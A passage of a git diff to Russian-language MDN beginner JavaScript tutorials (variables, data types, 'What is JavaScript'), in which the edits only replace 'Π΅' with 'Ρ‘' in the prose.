- <li>И послСднСС - Π²Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ использования Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… слов JavaScript Π² качСствС ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… - ΠΏΠΎΠ΄ этим ΠΌΡ‹ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅ΠΌ слова, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ фактичСский синтаксис JavaScript! Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ слова Ρ‚ΠΈΠΏΠ°Β <code>var</code>,Β <code>function</code>,Β <code>let</code>, ΠΈΒ <code>for</code> для ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°ΡŽΡ‚ ΠΈΡ… ΠΊΠ°ΠΊ Ρ€Π°Π·Π½Ρ‹Π΅ элСмСнты ΠΊΠΎΠ΄Π°, ΠΈ поэтому Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ ошибки.</li>
+ <li>И послСднСС - Π²Π°ΠΌ Ρ‚Π°ΠΊΠΆΠ΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ использования Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… слов JavaScript Π² качСствС ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… - ΠΏΠΎΠ΄ этим ΠΌΡ‹ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅ΠΌ слова, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ фактичСский синтаксис JavaScript! Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ слова Ρ‚ΠΈΠΏΠ°Β <code>var</code>,Β <code>function</code>,Β <code>let</code>, ΠΈΒ <code>for</code> для ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ€Π°ΡΠΏΠΎΠ·Π½Π°ΡŽΡ‚ ΠΈΡ… ΠΊΠ°ΠΊ Ρ€Π°Π·Π½Ρ‹Π΅ элСмСнты ΠΊΠΎΠ΄Π°, ΠΈ поэтому Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‚ ошибки.</li>
</ul>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: По ссылкС ΠΌΠΎΠΆΠ½ΠΎΒ Π½Π°ΠΉΡ‚ΠΈ довольно ΠΏΠΎΠ»Π½Ρ‹ΠΉ список Π·Π°Ρ€Π΅Π·Π΅Ρ€Π²ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Ρ… ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… слов:Β <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Keywords">Lexical grammar β€” keywords</a>.</p>
</div>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…:</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…:</p>
<pre class="example-good notranslate">age
myAge
@@ -270,7 +270,7 @@ audio1
audio2
</pre>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΏΠ»ΠΎΡ…ΠΈΡ… ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…:</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΏΠ»ΠΎΡ…ΠΈΡ… ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…:</p>
<pre class="example-bad notranslate">1
a
@@ -282,13 +282,13 @@ Document
skjfndskjfnbdskjfb
thisisareallylongstupidvariablenameman</pre>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹Π·ΠΎΠ²ΡƒΡ‚ ошибки:</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹Π·ΠΎΠ²ΡƒΡ‚ ошибки:</p>
<pre class="example-invalid notranslate">var
Document
</pre>
-<p>ΠŸΠΎΠΏΡ‹Ρ‚Π°ΠΉΡ‚Π΅ΡΡŒ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΅Ρ‰Π΅ нСсколько ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… прямо сСйчас, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ знания, ΠΈΠ·Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅.</p>
+<p>ΠŸΠΎΠΏΡ‹Ρ‚Π°ΠΉΡ‚Π΅ΡΡŒ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΅Ρ‰Ρ‘ нСсколько ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ… прямо сСйчас, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ знания, ΠΈΠ·Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ Π²Ρ‹ΡˆΠ΅.</p>
<h2 id="Π’ΠΈΠΏΡ‹_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…">Π’ΠΈΠΏΡ‹ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</h2>
@@ -302,7 +302,7 @@ Document
<h3 id="Π‘Ρ‚Ρ€ΠΎΠΊΠΈ_Strings">Π‘Ρ‚Ρ€ΠΎΠΊΠΈ ('Strings')</h3>
-<p>Π‘Ρ‚Ρ€ΠΎΠΊΠΈ - это Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ тСкста. Когда Π²Ρ‹ Π΄Π°Π΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ строки, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Π΅ Π² ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½Ρ‹Π΅ ΠΈΠ»ΠΈ Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС JavaScript попытаСтся ΠΏΡ€ΠΎΠΈΠ½Π΄Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ имя ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</p>
+<p>Π‘Ρ‚Ρ€ΠΎΠΊΠΈ - это Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ тСкста. Когда Π²Ρ‹ Π΄Π°Ρ‘Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ строки, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Ρ‘ Π² ΠΎΠ΄ΠΈΠ½ΠΎΡ‡Π½Ρ‹Π΅ ΠΈΠ»ΠΈ Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ, Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС JavaScript попытаСтся ΠΏΡ€ΠΎΠΈΠ½Π΄Π΅ΠΊΡΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘ ΠΊΠ°ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠ΅ имя ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ.</p>
<pre class="brush: js notranslate">var dolphinGoodbye = 'So long and thanks for all the fish';</pre>
@@ -317,11 +317,11 @@ Document
<pre class="brush: js notranslate">var test = 6 &lt; 3;
</pre>
-<p>Π—Π΄Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ «мСньшС» (&lt;), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, являСтся Π»ΠΈ 6 мСньшС 3. Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΎΠ½ Π²Π΅Ρ€Π½Π΅Ρ‚ false, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ 6 Π½Π΅ мСньшС 3! Π’ дальнСйшСм Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ большС ΠΎ Ρ‚Π°ΠΊΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Ρ….</p>
+<p>Π—Π΄Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ «мСньшС» (&lt;), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, являСтся Π»ΠΈ 6 мСньшС 3. Π’ Π΄Π°Π½Π½ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, ΠΎΠ½ Π²Π΅Ρ€Π½Ρ‘Ρ‚ false, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ 6 Π½Π΅ мСньшС 3! Π’ дальнСйшСм Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ большС ΠΎ Ρ‚Π°ΠΊΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°Ρ….</p>
<h3 id="ΠœΠ°ΡΡΠΈΠ²Ρ‹_Arrays">ΠœΠ°ΡΡΠΈΠ²Ρ‹ (Arrays)</h3>
-<p>Массив - это ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ скобки ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π² консоль:</p>
+<p>Массив - это ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит нСсколько Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… Π² ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ скобки ΠΈ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π² консоль:</p>
<pre class="brush: js notranslate">var myNameArray = ['Chris', 'Bob', 'Jim'];
var myNumberArray = [10,15,40];</pre>
@@ -353,18 +353,18 @@ myNumberArray[2]; // should return 40</pre>
<p>JavaScript - это «свободно Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ язык», Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π΄Ρ€ΡƒΠ³ΠΈΡ… языков Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ пСрСмСнная (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, числа, строки, массивы ΠΈ Ρ‚. Π΄.).</p>
-<p>НапримСр, Ссли Π²Ρ‹ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΈ присвоитС Π΅ΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ΅ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΊΠ°ΠΊ строку:</p>
+<p>НапримСр, Ссли Π²Ρ‹ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΈ присвоитС Π΅ΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ΅ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ ΠΊΠ°ΠΊ строку:</p>
<pre class="brush: js notranslate">var myString = 'ΠŸΡ€ΠΈΠ²Π΅Ρ‚';</pre>
<p>Он всС Ρ€Π°Π²Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ строкой, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½ содСрТит числа, поэтому Π±ΡƒΠ΄ΡŒΡ‚Π΅ остороТны:</p>
-<pre class="brush: js notranslate">var myNumber = '500'; // упс, это всС Π΅Ρ‰Π΅ строка (string)
+<pre class="brush: js notranslate">var myNumber = '500'; // упс, это всС Π΅Ρ‰Ρ‘ строка (string)
typeof(myNumber);
myNumber = 500; // Ρ‚Π°ΠΊ-Ρ‚ΠΎ Π»ΡƒΡ‡ΡˆΠ΅, Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ это число (number)
typeof(myNumber);</pre>
-<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ строки Π²Ρ‹ΡˆΠ΅ Π² консоль ΠΎΠ΄Π½Ρƒ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹. Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>typeof()</code>Β  - ΠΎΠ½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ Π² Π½Π΅Π΅. Π’ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° вызываСтся, ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ строку, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ пСрСмСнная <code>myNumber</code> содСрТит строку <code>'500'</code>. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° Π²Π΅Ρ€Π½Π΅Ρ‚ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π΅Π΅ Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅.</p>
+<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ввСсти Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ строки Π²Ρ‹ΡˆΠ΅ Π² консоль ΠΎΠ΄Π½Ρƒ Π·Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹. Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>typeof()</code>Β  - ΠΎΠ½Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Π΅ Π² Π½Π΅Ρ‘. Π’ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° вызываСтся, ΠΎΠ½Π° Π΄ΠΎΠ»ΠΆΠ° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ строку, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ пСрСмСнная <code>myNumber</code> содСрТит строку <code>'500'</code>. ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° Π²Π΅Ρ€Π½Ρ‘Ρ‚ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π΅Ρ‘ Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅.</p>
<h2 id="ПодвСдСниС_ΠΈΡ‚ΠΎΠ³ΠΎΠ²">ПодвСдСниС ΠΈΡ‚ΠΎΠ³ΠΎΠ²</h2>
diff --git a/files/ru/learn/javascript/first_steps/what_is_javascript/index.html b/files/ru/learn/javascript/first_steps/what_is_javascript/index.html
index 2e0ff5a198..114f4601ba 100644
--- a/files/ru/learn/javascript/first_steps/what_is_javascript/index.html
+++ b/files/ru/learn/javascript/first_steps/what_is_javascript/index.html
@@ -31,11 +31,11 @@ original_slug: Learn/JavaScript/ΠŸΠ΅Ρ€Π²Ρ‹Π΅_шаги/What_is_JavaScript
<ul>
<li>{{glossary("HTML")}} - это язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ для Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΈ смыслового структурирования нашСго web ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, опрСдСляСм ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Ρ‹, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ, Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈΠ»ΠΈ вставляСм изобраТСния ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Π½Π° страницу.</li>
- <li>{{glossary("CSS")}} - это язык стилСй с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΡ‹ ΠΏΡ€ΠΈΠ΄Π°Π΅ΠΌ ΡΡ‚ΠΈΠ»ΡŒ отобраТСния нашСго HTML ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ΄Π°Π΅ΠΌ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Ρƒ (background) ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Ρƒ, ΠΏΡ€ΠΈΠ΄Π°Π΅ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ ΠΌΠ½ΠΎΠ³ΠΎΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ Π²ΠΈΠ΄.</li>
+ <li>{{glossary("CSS")}} - это язык стилСй с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΡ‹ ΠΏΡ€ΠΈΠ΄Π°Ρ‘ΠΌ ΡΡ‚ΠΈΠ»ΡŒ отобраТСния нашСго HTML ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ΄Π°Ρ‘ΠΌ Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Ρƒ (background) ΠΈ ΡˆΡ€ΠΈΡ„Ρ‚Ρƒ, ΠΏΡ€ΠΈΠ΄Π°Ρ‘ΠΌ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ ΠΌΠ½ΠΎΠ³ΠΎΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ Π²ΠΈΠ΄.</li>
<li>{{glossary("JavaScript")}} язык программирования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π’Π°ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ динамичСски обновляСмый ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, управляСт ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°, Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅Ρ‚ изобраТСния, Π²ΠΏΡ€ΠΎΡ‡Π΅ΠΌ,Β Π΄Π΅Π»Π°Π΅Ρ‚ всё, Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ. ОкСй, Π½Π΅ всС, Ρ‡Ρ‚ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ, Π½ΠΎ всС Ρ€Π°Π²Π½ΠΎ, это ΡƒΠ΄ΠΈΠ²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… строк JavaScript ΠΊΠΎΠ΄Π°.</li>
</ul>
-<p>Π’Ρ€ΠΈ слоя прСкрасно Π²Ρ‹ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π½Π°Π΄ Π΄Ρ€ΡƒΠ³ΠΎΠΌ. Π’ΠΎΠ·ΡŒΠΌΠ΅ΠΌ простой тСкст для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°. Для придания структуры ΠΈ смыслового назначСния тСксту, Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΈΠΌ Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HTML:</p>
+<p>Π’Ρ€ΠΈ слоя прСкрасно Π²Ρ‹ΡΡ‚Ρ€Π°ΠΈΠ²Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ Π½Π°Π΄ Π΄Ρ€ΡƒΠ³ΠΎΠΌ. Π’ΠΎΠ·ΡŒΠΌΡ‘ΠΌ простой тСкст для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°. Для придания структуры ΠΈ смыслового назначСния тСксту, Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΈΠΌ Π΅Π³ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ HTML:</p>
<pre class="brush: html">&lt;p&gt;Player 1: Chris&lt;/p&gt;</pre>
@@ -73,7 +73,7 @@ function updateName() {
<p>{{ EmbedLiveSample('ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_высокого_уровня', '100%', 80) }}</p>
